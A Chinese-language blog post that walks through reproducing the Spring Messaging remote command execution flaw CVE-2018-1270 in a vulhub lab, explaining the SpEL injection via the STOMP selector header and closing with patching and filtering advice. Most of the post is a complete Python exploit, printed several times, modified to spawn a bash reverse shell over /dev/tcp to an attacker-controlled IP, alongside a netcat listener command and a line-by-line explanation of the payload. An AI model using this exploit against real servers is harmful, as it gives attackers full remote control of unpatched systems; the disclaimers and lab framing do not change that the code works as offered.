【vulhub spring CVE-2018-1270】CVE-2018-1270 Spring Messaging 远程命令执行漏洞 完整复现详细分析解释

【vulhub spring CVE-2018-1270】CVE-2018-1270 Spring Messaging 远程命令执行漏洞 完整复现详细分析解释

安全提示与职业操守

做渗透测试,必须严格遵守以下原则:

  1. 合法授权 :仅在书面授权的范围内使用,禁止未授权测试;
  2. 最小影响 :避免使用高风险参数(如sqlmap工具的 --risk=3--os-shell),防止目标服务崩溃;
  3. 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
  4. 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
  4. 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
  7. 本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。
  8. 未经授权对目标系统进行渗透测试、漏洞利用等操作均属于违法行为,以下内容仅用于授权环境下的漏洞复现、安全研究与教学目的,使用者需遵守《网络安全法》等相关法律法规,一切违规操作带来的后果由使用者自行承担。

在vulhub打开环境

ip:port 进入web服务界面

vulhub里有exp脚本,需要修改成反弹shell的脚本

原本exp:

python 复制代码
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

修改后exp:

python 复制代码
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    # 'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

修改成自己本机的IP和端口,执行exp,并在攻击机上监听端口

反弹shell成功

下面是spring CVE-2018-1270的详细分析解释:

深入剖析 Spring Messaging CVE-2018-1270 远程命令执行漏洞(原理 + 复现 + EXP 解析)

一、漏洞概述

1.1 漏洞基础信息

  • 漏洞编号:CVE-2018-1270
  • 影响组件:Spring Framework 旗下的 Spring Messaging 模块
  • 影响版本:Spring Framework 5.0 to 5.0.4、Spring Framework 4.3 to 4.3.14(其他老旧版本也可能受影响)
  • 漏洞类型:远程命令执行(RCE)
  • 危害等级:高危(未授权攻击者可远程执行任意系统命令,完全控制目标服务器)

1.2 核心危害

Spring Messaging 模块为 WebSocket/STOMP 协议提供消息传递能力,该漏洞源于其对 STOMP 订阅请求中selector参数的 SpEL 表达式校验缺失,攻击者可通过注入恶意 SpEL 表达式,触发远程代码执行,进而获取服务器权限。

二、漏洞原理

2.1 核心依赖:SpEL 表达式

SpEL(Spring Expression Language)是 Spring 框架内置的表达式语言,支持运行时动态执行表达式、调用 Java 类 / 方法,例如:

java 复制代码
// 执行系统命令的核心SpEL表达式
T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")

其中T()用于调用 Java 类的静态方法,Runtime.getRuntime().exec()是 Java 执行系统命令的经典方式。

2.2 漏洞触发逻辑

Spring Messaging 的 STOMP 协议订阅功能允许客户端通过selector参数指定消息选择器,框架会将该参数作为 SpEL 表达式解析执行,但未对表达式内容做任何过滤 / 校验:

  1. 攻击者构造包含恶意 SpEL 的 STOMP 订阅请求;
  2. 服务端解析selector参数时,执行恶意表达式;
  3. 表达式调用Runtime.exec()执行系统命令,触发 RCE。

2.3 协议层面触发条件

漏洞需通过 SockJS(WebSocket 的降级方案)发送 STOMP 协议请求,核心流程:

  • 建立 SockJS 连接 → 发送 CONNECT 帧 → 发送 SUBSCRIBE 帧(注入恶意 SpEL) → 发送 SEND 帧触发表达式执行。

三、环境准备

3.1 环境搭建(Vulhub)

bash 复制代码
# 进入vulhub对应目录
cd vulhub/spring/CVE-2018-1270
# 启动漏洞环境
docker-compose up -d
# 验证环境启动:访问 http://靶机IP:8080/gs-guide-websocket

3.2 攻击机准备

  • 监听端口(用于反弹 Shell):
bash 复制代码
nc -lvvp 9999  # Kali/Linux环境

四、漏洞复现(完整流程)

4.1 核心 EXP 修改

Vulhub 提供的原始 EXP 仅执行touch /tmp/success,需修改为反弹 Shell 的恶意表达式,关键修改点:

python 复制代码
# 原表达式(仅创建文件)
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')"

# 修改后(反弹Shell)
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的KaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})'

4.2 执行 EXP

  1. 修改 EXP 中的靶机IPKaliIP/监听端口
  2. 运行 EXP:
bash 复制代码
python3 exp.py
  1. 攻击机监听端口收到反弹 Shell,验证漏洞利用成功。

五、EXP 深度解析

以下是完整 EXP 的逐模块解析,清晰说明每一行的作用:

5.1 基础依赖导入

python 复制代码
#!/usr/bin/env python3
import requests  # 发送HTTP请求
import random    # 生成随机数
import string    # 生成随机字符串
import time      # 时间戳/延时
import threading # 多线程处理SockJS连接
import logging   # 日志输出
import sys       # 系统参数
import json      # JSON序列化

5.2 日志配置 + 随机字符串生成

python 复制代码
logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    # 生成指定长度的随机字符串(小写字母+数字),用于SockJS连接路径
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))

5.3 SockJS 核心类(关键)

SockJS 是 WebSocket 的降级方案,用于模拟 WebSocket 连接,该类实现连接建立、请求发送:

python 复制代码
class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        # 构造SockJS连接路径(随机数+随机字符串,符合SockJS协议规范)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True  # 设为守护线程,主进程退出时自动销毁
        self.session = requests.session()  # 复用HTTP会话
        # 设置请求头(Referer/User-Agent,模拟合法客户端请求)
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)  # 生成时间戳(SockJS请求参数)

    def run(self):
        # 建立SockJS长连接(htmlfile模式),维持连接状态
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)  # 延时避免连接断开
    
    def send(self, command, headers, body=''):
        # 构造STOMP协议帧,并发送POST请求
        # 1. 拼接STOMP帧内容(命令+头部+体)
        data = [command.upper(), '\n']
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        data.append('\n\n')
        data.append(body)
        data.append('\x00')  # STOMP帧结束符
        # 2. JSON序列化(SockJS要求请求体为JSON数组)
        data = json.dumps([''.join(data)])
        # 3. 发送POST请求到xhr_send接口
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        # 4. 日志输出发送结果
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()  # 销毁时关闭HTTP会话

5.4 漏洞利用核心流程

python 复制代码
# 1. 初始化SockJS连接(目标地址为漏洞接口)
sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
sockjs.start()  # 启动线程维持长连接
time.sleep(1)   # 等待连接建立

# 2. 发送CONNECT帧(建立STOMP会话)
sockjs.send('connect', {
    'accept-version': '1.1,1.0',  # 指定STOMP版本
    'heart-beat': '10000,10000'   # 心跳包间隔
})

# 3. 发送SUBSCRIBE帧(核心:注入恶意SpEL表达式)
sockjs.send('subscribe', {
    # 恶意SpEL表达式:反弹Shell到攻击机
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的KaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',  # 订阅ID(任意值)
    'destination': '/topic/greetings'  # 订阅目标(漏洞接口固定值)
})

# 4. 发送SEND帧(触发SUBSCRIBE中的SpEL表达式执行)
data = json.dumps({'name': 'vulhub'})  # 任意合法JSON体
sockjs.send('send', {
    'content-length': len(data),  # 消息体长度
    'destination': '/app/hello'   # 发送目标(漏洞接口固定值)
}, data)

5.5 完整 EXP 代码

python 复制代码
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

# 日志配置:输出到控制台,级别为INFO
logging.basicConfig(stream=sys.stdout, level=logging.INFO)

# 生成随机字符串:用于构造SockJS的唯一连接路径
def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))

# SockJS客户端类:模拟STOMP协议的WebSocket连接
class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        # 构造SockJS的基础路径:随机数+随机字符串,模拟合法连接
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True  # 设为守护线程,主进程退出时自动销毁
        self.session = requests.session()  # 复用HTTP会话,保持连接
        # 构造请求头:模拟合法浏览器请求,绕过简单的校验
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)  # 生成时间戳,用于请求参数

    # 线程运行方法:维持SockJS连接,避免连接断开
    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        # 循环读取响应行,模拟客户端持续连接
        for line in response.iter_lines():
            time.sleep(0.5)
    
    # 核心发送方法:构造STOMP协议的命令请求(connect/subscribe/send)
    def send(self, command, headers, body=''):
        # 构造STOMP协议格式的请求体
        data = [command.upper(), '\n']
        # 拼接请求头(如accept-version、selector等)
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        data.append('\n\n')
        data.append(body)
        data.append('\x00')  # STOMP协议结束符
        data = json.dumps([''.join(data)])  # 转为JSON格式,适配SockJS传输

        # 发送POST请求到xhr_send接口,触发STOMP命令执行
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        # 日志输出请求结果
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    # 析构方法:关闭HTTP会话,释放资源
    def __del__(self):
        self.session.close()

# ========== 漏洞触发逻辑 ==========
# 初始化SockJS客户端,指定目标WebSocket路径
sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
sockjs.start()  # 启动线程,维持连接
time.sleep(1)   # 等待连接建立

# 1. 发送CONNECT命令:建立STOMP连接
sockjs.send('connect', {
    'accept-version': '1.1,1.0',  # 指定STOMP协议版本
    'heart-beat': '10000,10000'   # 心跳包间隔,维持连接
})

# 2. 发送SUBSCRIBE命令:注入恶意SpEL表达式(核心漏洞触发点)
sockjs.send('subscribe', {
    # 恶意SpEL表达式:执行反弹Shell命令
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',  # 订阅ID,唯一标识
    'destination': '/topic/greetings'  # 消息目标主题
})

# 3. 发送SEND命令:触发消息处理流程,执行订阅时的SpEL表达式
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),  # 消息体长度
    'destination': '/app/hello'   # 消息发送目标
}, data)

5.6 关键模块解析

模块 作用说明
random_str 生成随机字符串,构造 SockJS 唯一连接路径,模拟合法客户端连接
SockJS 模拟 SockJS 客户端,封装 STOMP 协议的连接、订阅、发送等核心操作
run 方法 维持 SockJS 长连接,避免连接被服务器主动断开
send 方法 构造符合 STOMP 协议格式的请求,向目标接口发送 connect/subscribe/send 命令
subscribe 阶段 selector 参数注入执行反弹 Shell 的 SpEL 表达式,核心漏洞触发点
send 阶段 触发消息处理流程,迫使服务器解析并执行 selector 中的恶意表达式

5.7 核心恶意表达式解析

java 复制代码
T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})
  • T(java.lang.Runtime):SpEL 中调用 Java 类的静态方法
  • exec(...):执行系统命令,使用数组形式避免命令拼接被过滤
  • exec 5<>/dev/tcp/IP/端口:建立 TCP 连接,文件描述符 5 绑定该连接
  • cat <&5 | while read line; do $line 2>&5 >&5; done:循环读取攻击机发送的命令,执行后将结果返回攻击机

5.8 关键知识点

  • 反弹 Shell 表达式 :使用new String[]避免空格截断问题,exec 5<>/dev/tcp是 Linux 下反弹交互式 Shell 的经典写法;
  • SockJS 线程:必须维持长连接,否则请求会被服务端拒绝;
  • STOMP 帧格式 :严格遵循命令\n头部\n\n体\x00的格式,否则解析失败。

六、防御建议

6.1 版本升级

升级 Spring Framework 至安全版本:

  • Spring 5.0.x:升级到 5.0.5 及以上;
  • Spring 4.3.x:升级到 4.3.15 及以上。

6.2 输入校验

对 STOMP 订阅请求的selector参数做严格过滤:

  • 禁止包含T(Runtimeexec等敏感关键字;
  • 限制 SpEL 表达式的执行范围,仅允许白名单内的表达式。

6.3 禁用不必要功能

若业务无需 STOMP 订阅的selector功能,直接禁用该参数解析。

6.4 网络防护

  • 限制漏洞接口(如/gs-guide-websocket)的访问来源,仅允许可信 IP;
  • 部署 WAF,拦截包含恶意 SpEL 表达式的请求。

七、总结

CVE-2018-1270 的核心是未校验的 SpEL 表达式注入,利用 Spring Messaging 的 STOMP 协议订阅机制实现 RCE。该漏洞的利用依赖 SockJS 协议的请求构造,EXP 的核心是模拟合法的 STOMP 帧并注入恶意 SpEL。防御的核心是版本升级 + 输入校验,同时限制敏感接口的访问范围,从源头阻断攻击。

对于安全从业者,理解该漏洞的核心在于掌握 SpEL 表达式的执行逻辑和 STOMP/SockJS 协议的交互流程,这也是 Spring 框架类漏洞的典型分析思路。

本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。

相关推荐
听到微笑2 小时前
MCP传输协议演进:从SSE到Streamable HTTP
网络·网络协议·http
Amnesia0_02 小时前
理解Linux中的OS管理和进程属性
linux·运维·服务器
徒 花2 小时前
HCIP学习05 链路聚合(Eth-Trunk)+ VRRP
服务器·网络·学习·hcip
如来神掌十八式2 小时前
nginx + spring gateway+spring 服务_nginx 转发到 gateway
nginx·spring·gateway
EnCi Zheng2 小时前
P2G-Python字符串方法完全指南-split、join、strip、replace的Python编程利器
开发语言·python
鬼先生_sir2 小时前
MySQL进阶-事务与锁机制
数据库·mysql·mvcc
潇洒畅想2 小时前
1.1 从∑到∫:用循环理解求和与累积
java·数据结构·python·算法
kyle~2 小时前
工程数学---机器人变化矩阵求解
网络·矩阵·机器人
爱学习的小囧2 小时前
VCF 9 实验室网络部署全攻略:从硬件连接到配置实操
开发语言·网络·php